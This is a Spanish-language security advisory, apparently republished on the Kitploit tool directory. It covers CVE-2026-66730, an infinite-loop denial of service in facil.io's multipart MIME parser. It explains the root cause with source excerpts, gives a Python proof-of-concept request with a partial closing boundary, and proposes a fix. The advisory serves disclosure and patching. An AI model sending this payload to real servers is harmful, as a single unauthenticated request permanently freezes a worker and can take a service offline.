Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser — Aviso de seguridad: Bucle infinito DoS en el analizador MIME de facil.io (límite parcial) | Kitploit
Herramientas/GitHubGitHub/theopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser
Análisis de VulnerabilidadesAnálisis de CódigoSeguridad WebPapers e InvestigaciónAprendizaje y Educación
GitHubtheopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser

CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser

Aviso de seguridad: Bucle infinito DoS en el analizador MIME de facil.io (límite parcial)

Ver Repositorio
12hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Aviso de seguridad: DoS por bucle infinito en el analizador MIME de facil.io (delimitador parcial)

ID de CVE asignado: CVE-2026-66730

Producto: facil.io
Versiones afectadas: facil.io >= 0.6.0 (todas las 0.6.x, todas las 0.7.x, master); introducido junto con el analizador MIME en 0.6.0
Componente: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (Bucle con condición de salida inalcanzable), CWE-400 (Consumo no controlado de recursos)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Investigador: Theodosis Paidakis


Resumen

Una solicitud multipart/form-data cuyo cuerpo termina con un delimitador de cierre parcial (p. ej., --B- en lugar de --B--\r\n) provoca que http_parse_body() se quede atrapado en un bucle infinito al 100 % de CPU. El analizador MIME devuelve 0 bytes consumidos cuando se atasca en un delimitador parcial, pero el bucle que lo invoca solo comprueba !done && !error. Ninguno de los dos indicadores se activa, por lo que vuelve a invocar al analizador con los mismos datos indefinidamente. El servidor no se bloquea, por lo que no se vuelve a crear ningún worker. Una única solicitud POST sin autenticación congela un worker de forma permanente.

Esto no está relacionado con CVE-2026-41146, que es un bucle infinito en el analizador JSON (fio_json_parser.h). Este error está en el analizador MIME/multipart.


Causa raíz

Parte 1: Sin protección de progreso en el llamador

lib/facil/http/http.c, líneas 1963-1967

// lib/facil/http/http.c:1963-1967
do {
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;                                         // += 0 when parser stalls
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);    // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error);       // neither flag set -> loops forever

Si http_mime_parse devuelve 0 y no activa ni done ni error, p.pos permanece fijo, fiobj_data_pread devuelve el mismo buffer y el bucle no tiene salida.

Parte 2: Cuando http_mime_parse devuelve 0

lib/facil/http/parsers/http_mime_parser.h, líneas 314-329 y la rama consume_partial

El analizador escanea la sección de valor en busca de un delimitador completo. Cuando el cuerpo termina con \n--B- (cuatro bytes menos que un delimitador de cierre completo \n--B--\r\n), el escaneo encuentra \n seguido de lo que parece el inicio de un delimitador, pero no puede confirmar que esté completo:

// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
    end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
         (size_t)(stop - end) >= (4 + parser->boundary_len) &&
         (end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
    // partial boundary -- transition to consume_partial on first call
    parser->in_obj = 1;
    goto consume_partial;
}

En la siguiente llamada, in_obj ya está activado. La rama consume_partial encuentra el mismo \n antes de --B- y, a continuación, retrocede el puntero de retorno hasta situarlo antes de cualquier dato no consumido:

// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
    end -= 2;
    if (end[0] == '\r') --end;   // end now points before the \n
    pos = end;                    // return pointer set behind any new data
    goto end_of_data;             // returns 0 bytes consumed
}

pos termina en el punto de inicio o antes. La función devuelve 0. De vuelta en el llamador, cons = 0, p.pos no avanza y el ciclo se repite.


Prueba de concepto

Inicie el servidor y, a continuación, ejecute:

# poc_mime_infinite_loop.py
import socket, time

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=field\r\n"
    "\r\n"
    "value\r\n"
    "--B-"      # partial closing boundary: missing final '-\r\n'
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    s.recv(4096)
    print("got response - not vulnerable")
except socket.timeout:
    print("hung for 10s - server spinning at 100% CPU")

Observado: el proceso del servidor al 99,7-100 % de CPU. Se requiere kill -9 para recuperarse.


Impacto

Un worker congelado nunca termina, por lo que no se vuelve a crear ningún worker. Con suficientes solicitudes (iguales al número de workers), el servidor deja de atender a todos los clientes de forma permanente hasta que se reinicia manualmente. No se requiere autenticación, ni cabeceras especiales, ni ningún estado previo.


Corrección

Añada una protección de progreso al bucle en http_parse_body:

lib/facil/http/http.c, líneas 1963-1967

// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
    if (p.pos == last_pos) { p.p.error = 1; break; }   // no progress: abort
    last_pos = p.pos;
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);

Descargar herramienta